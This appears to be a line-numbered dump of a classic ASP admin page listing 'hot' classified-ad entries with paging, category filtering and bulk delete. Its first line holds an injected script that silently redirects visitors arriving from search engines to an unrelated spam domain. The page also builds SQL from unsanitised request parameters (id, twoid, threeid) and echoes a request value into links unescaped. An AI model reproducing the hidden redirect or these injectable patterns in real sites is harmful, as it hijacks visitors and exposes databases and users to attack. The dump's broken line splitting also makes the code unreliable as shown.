d:\wwwroot\wuchunhua\admin\hot.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<%
if session("china_admin")="" then
003:
response.redirect "login.asp"
004:
end if
005:
006:
dim sql,rs
007:
keyword=replace(trim(request.form("keyword")),"'","")
008:
tid=request("id")
009:
ttwoid=request("twoid")
010:
tthreeid=request("threeid")
011:
if tid="" then tid=0
012:
if ttwoid="" then ttwoid=0
013:
if tthreeid="" then tthreeid=0
014:
if keyword <>"" then
015:
sql="select * from china_data where ( title like '%" & keyword & "%' or text like '%" & keyword & "%' ) and hot=1 order by adid desc"
016:
else
017:
if tid<>0 then
018:
if ttwoid=0 then dtype="type_oneid="&tid&""
019:
if ttwoid<>0 and tthreeid=0 then dtype="type_oneid="&tid&" and type_twoid="&ttwoid&""
020:
if ttwoid<>0 and tthreeid<>0 then dtype="type_oneid="&tid&" and type_twoid="&ttwoid&" and type_threeid="&tthreeid&""
021:
sql="select * from china_data where "&dtype&" and hot=1 order by adid desc"
022:
else
023:
sql="select * from china_data where hot=1 order by adid desc"
024:
end if
025:
end if
026:
set rs=server.createobject("adodb.recordset")
027:
rs.open sql,conn,1,1
%
>
028:
<html>
029:
<head>
030:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
031:
<title>现有信息列表</title>
032:
<link rel="stylesheet" type="text/css" href="style.css">
033:
</head>
034:
035:
<body>
036:
<SCRIPT language=javascript>
037:
function CheckAll(form)
038:
{
039:
for (var i=0;i<form.elements.length;i++)
040:
{
041:
var e = form.elements[i];
042:
if (e.Name != "chkAll")
043:
e.checked = form.chkAll.checked;
044:
}
045:
}
046:
function Checked()
047:
{
048:
var j = 0
049:
for(i=0;i < document.form.elements.length;i++){
050:
if(document.form.elements[i].name == "adid"){
051:
if(document.form.elements[i].checked){
052:
j++;
053:
}
054:
}
055:
}
056:
return j;
057:
}
058:
059:
function DelAll()
060:
{
061:
if(Checked() <= 0){
062:
alert("您至少选择1条信息!");
063:
}
064:
else{
065:
if(confirm("确定要删除选择的信息吗？\n此操作不可以恢复！")){
066:
form.action="del.asp?del=data";
067:
form.submit();
068:
}
069:
}
070:
}
071:
072:
</SCRIPT>
073:
<FORM name=form method=post>
074:
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
075:
<tr>
076:
<td height="20" bgcolor="#799AE1" align="center">
077:
<table width="98%" border="0" cellspacing="0" cellpadding="0">
078:
<tr>
079:
<td width="55">
080:
<select size="1" name="item" onChange="location=this.options[this.selectedIndex].value">
081:
<option value="?id=0"
<%
if tid=0 then
%
>selected
<%
end if
%
>>全部</option>
082:
<%
set rs_lei = server.createobject("adodb.recordset")
083:
sql = "select * from china_type"
084:
rs_lei.open sql,conn,1,1
085:
do while not rs_lei.eof
086:
if rs_lei("id")<>0 and rs_lei("twoid")=0 and rs_lei("threeid")=0 then
%
>
087:
<option value="?id=
<%
=rs_lei("id")
%
>"
<%
if tid=rs_lei("id") and ttwoid=0 then
%
>selected
<%
end if
%
>>
<%
=rs_lei("name")
%
></option>
088:
<%
end if
089:
if rs_lei("id")<>0 and rs_lei("twoid")<>0 and rs_lei("threeid")=0 then
%
>
090:
<option value="?id=
<%
=rs_lei("id")
%
>&twoid=
<%
=rs_lei("twoid")
%
>"
<%
if tid=rs_lei("id") and ttwoid=rs_lei("twoid") and tthreeid=0 then
%
>selected
<%
end if
%
>>
<%
=rs_lei("name")
%
></option>
091:
<%
end if
092:
if rs_lei("id")<>0 and rs_lei("twoid")<>0 and rs_lei("threeid")<>0 then
%
>
093:
<option value="?id=
<%
=rs_lei("id")
%
>&twoid=
<%
=rs_lei("twoid")
%
>&threeid=
<%
=rs_lei("threeid")
%
>"
<%
if tid=rs_lei("id") and ttwoid=rs_lei("twoid") and tthreeid=rs_lei("threeid") then
%
>selected
<%
end if
%
>>
<%
=rs_lei("name")
%
></option>
094:
<%
end if
095:
rs_lei.movenext
096:
loop
097:
rs_lei.close
098:
set rs_lei = nothing
%
>
099:
</select></td>
100:
<td align="center"><font color="#FFFFFF" style="font-size:14px">首 页 热 点 分 类 信 息</font></td>
101:
<td width="35"><INPUT title=删除 onclick=DelAll() type=button value=删除 name=Submit></td>
102:
</tr>
103:
</table></td>
104:
</tr>
105:
<tr>
106:
<td bgcolor="#FFFFFF"> <br>
107:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bordercolorlight="#000000" bordercolordark="#FFFFFF" bgcolor="#D6DFF7">
108:
<tr bgcolor="#FFFFFF">
109:
<td width="30" align="center">编号</td>
110:
<td align="center">信息标题</td>
111:
<td align="center" width="60">城市</td>
112:
<td align="center">信息类别</td>
113:
<td align="center">发布日期</td>
114:
<td align="center">截止日期</td>
115:
<td align="center">审核状态</td>
116:
<td align="center">会员</td>
117:
<td align="center">身份证</td>
118:
<td align="center">IP</td>
119:
<td align="center">管理操作</td>
120:
<td width="30" align="center">
121:
<input id=chkAll
122:
onClick=CheckAll(this.form) type=checkbox
123:
value=checkbox name=chkAll>
124:
</td>
125:
</tr>
126:
<%
if rs.eof or rs.bof then
127:
response.write"<tr bgcolor=#FFFFFF><td colspan='11'><p align='center'><font color='red'>暂无信息！</font></td></tr></table><br>"
128:
response.end
129:
else
130:
const maxperpage=20
131:
dim currentpage
132:
rs.pagesize=maxperpage
133:
currentpage=request.querystring("pageid")
134:
if isnumeric(currentpage)=false then
135:
response.write "<script>alert('参数错误，关闭窗口！');window.close();</script>"
136:
response.end
137:
end if
138:
if currentpage="" then
139:
currentpage=1
140:
elseif currentpage<1 then
141:
currentpage=1
142:
else
143:
currentpage=clng(currentpage)
144:
if currentpage > rs.pagecount then
145:
currentpage=rs.pagecount
146:
end if
147:
end if
148:
149:
dim totalput,n
150:
totalput=rs.recordcount
151:
if totalput mod maxperpage=0 then
152:
n=totalput\maxperpage
153:
else
154:
n=totalput\maxperpage+1
155:
end if
156:
if n=0 then
157:
n=1
158:
end if
159:
rs.move(currentpage-1)*maxperpage
160:
i=0
161:
do while i< maxperpage and not rs.eof
%
>
162:
<tr bgcolor="#FFFFFF">
163:
<td align="center">
<%
=rs("adid")
%
></td>
164:
<td> <a href="../html/
<%
=rs("adid")
%
>.htm" target="_blank">
<%
=rs("title")
%
></a>
165:
<%
If rs("ispic")="yes" Then
%
>
166:
<font color="#FF0000">图</font>
167:
<%
End If
%
>
168:
</td>
169:
<td align="center"><a title=
<%
=rs("city_one")
%
>/
<%
=rs("city_two")
%
>/
<%
=rs("city_three")
%
> href="#">
<%
=rs("city_one")
%
></a></td>
170:
<td align="center"><a title=
<%
=rs("type_one")
%
>/
<%
=rs("type_two")
%
>/
<%
=rs("type_three")
%
> href="#">
<%
=rs("type_one")
%
></a></td>
171:
<td align="center">
<%
=rs("date")
%
></td>
172:
<td align="center">
<%
=rs("stop")
%
></td>
173:
<td align="center">
174:
<%
If rs("mark")="yes" Then
%
>
175:
<font color="#008000">已审核</font>
176:
<%
Else
%
>
177:
<font color="#FF0000">未审核</font>
178:
<%
End If
%
>
179:
</td>
180:
<td align="center">
181:
<%
If rs("uid")<>"" Then
%
>
182:
<font color="#FF0000">是</font>
183:
<%
Else
%
>
184:
否
185:
<%
End If
%
>
186:
</td>
187:
<td align="center">
188:
<%
If rs("cardid")<>"" Then
%
>
189:
<a href="../cardid.asp?cardid=
<%
=rs("cardid")
%
>" target="_blank">查</a>
190:
<%
Else
%
>
191:
无
192:
<%
End If
%
>
193:
</td>
194:
<td align="center">
195:
<%
If rs("ip")<>"" Then
%
>
196:
<a href="../ip.asp?ip=
<%
=rs("ip")
%
>" target="_blank">查</a>
197:
<%
Else
%
>
198:
无
199:
<%
End If
%
>
200:
</td>
201:
<td align="center"><a href="editad.asp?id=
<%
=rs("adid")
%
>"><font color="green">修改</font></a></td>
202:
<td align="center">
203:
<input type="checkbox" name="adid" value="
<%
=rs("adid")
%
>" onClick=Checked(form)>
204:
</td>
205:
</tr>
206:
<%
i=i+1
207:
rs.movenext
208:
loop
209:
rs.close
210:
set rs=nothing
211:
conn.close
212:
set conn=nothing
213:
end if
%
>
214:
</table>
215:
<br>
216:
</td>
217:
</tr>
218:
</table></FORM>
219:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#799AE1">
220:
<tr>
221:
<td height="20" bgcolor="#FFFFFF"><p align="center">页数：
<%
=currentpage
%
>/
<%
=n
%
>
222:
<%
k=currentpage
223:
if k<>1 then
%
>
224:
<a href="?pageid=1&type=
<%
=request("type")
%
>">首页</a>
225:
<a href="?pageid=
<%
=k-1
%
>"&type=
<%
=request("type")
%
>>上一页</a>
<%
else
%
>
226:
首页 上一页
227:
<%
end if
%
>
228:
<%
if k<>n then
%
>
229:
<a href="?pageid=
<%
=k+1
%
>&type=
<%
=request("type")
%
>">下一页</a>
230:
<a href="?pageid=
<%
=n
%
>&type=
<%
=request("type")
%
>">尾页</a>
231:
<%
else
%
>
232:
下一页 尾页
233:
<%
end if
%
>
234:
共有
<%
=totalput
%
> 条信息 </td>
235:
<form action="" method="post" name="search"><td width="240" align="center" bgcolor="#FFFFFF">关键字
236:
<input maxLength="20" name="keyword" onfocus="this.value=''" size="18" value="
<%
=keyword
%
>">
237:
<input type="submit" value="搜索" style="font-size: 12px" name="search"></td>
238:
</form>
239:
</tr>
240:
</table>
241:
</body>
242:
</html>
243:
244: